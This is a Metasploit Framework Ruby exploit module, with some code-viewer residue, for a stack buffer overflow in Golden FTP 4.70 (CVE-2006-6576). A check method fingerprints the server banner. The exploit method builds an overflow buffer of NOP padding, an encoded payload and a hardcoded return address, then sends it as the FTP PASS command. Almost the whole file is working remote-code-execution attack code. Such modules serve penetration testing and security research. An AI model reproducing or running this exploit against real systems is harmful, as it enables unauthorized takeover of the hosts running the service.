93 lines
2.1 KiB
Ruby
93 lines
2.1 KiB
Ruby
#
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Golden
|
|
FTP service. This module uses the PASS command to trigger the overflow.
|
|
},
|
|
'Author' => [ 'bannedit' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-6576'],
|
|
[ 'OSVDB', '35951'],
|
|
[ 'BID', '45957 '],
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 350,
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
},
|
|
'Platform' => ['win'],
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
|
|
{
|
|
'Platform' => 'win',
|
|
'Ret' => 0x00a93ca6,
|
|
},
|
|
]
|
|
|
|
],
|
|
'DisclosureDate' => 'Jan 23 2011'))
|
|
end
|
|
|
|
def check
|
|
connect
|
|
disconnect
|
|
print_status("FTP Banner: #{banner}".strip)
|
|
if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if datastore['RHOST'].length < 15
|
|
pad = make_nops(1) * (15 - datastore['RHOST'].length)
|
|
end
|
|
|
|
sploit = make_nops(4) * 38
|
|
sploit << payload.encoded
|
|
sploit << pad
|
|
sploit << make_nops(1) * (528 - sploit.length)
|
|
sploit << [target.ret].pack('V')
|
|
|
|
print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
|
begin
|
|
connect
|
|
send_user("anonymous")
|
|
send_cmd(['PASS', sploit], false)
|
|
handler
|
|
rescue EOFError
|
|
end
|
|
end
|
|
end
|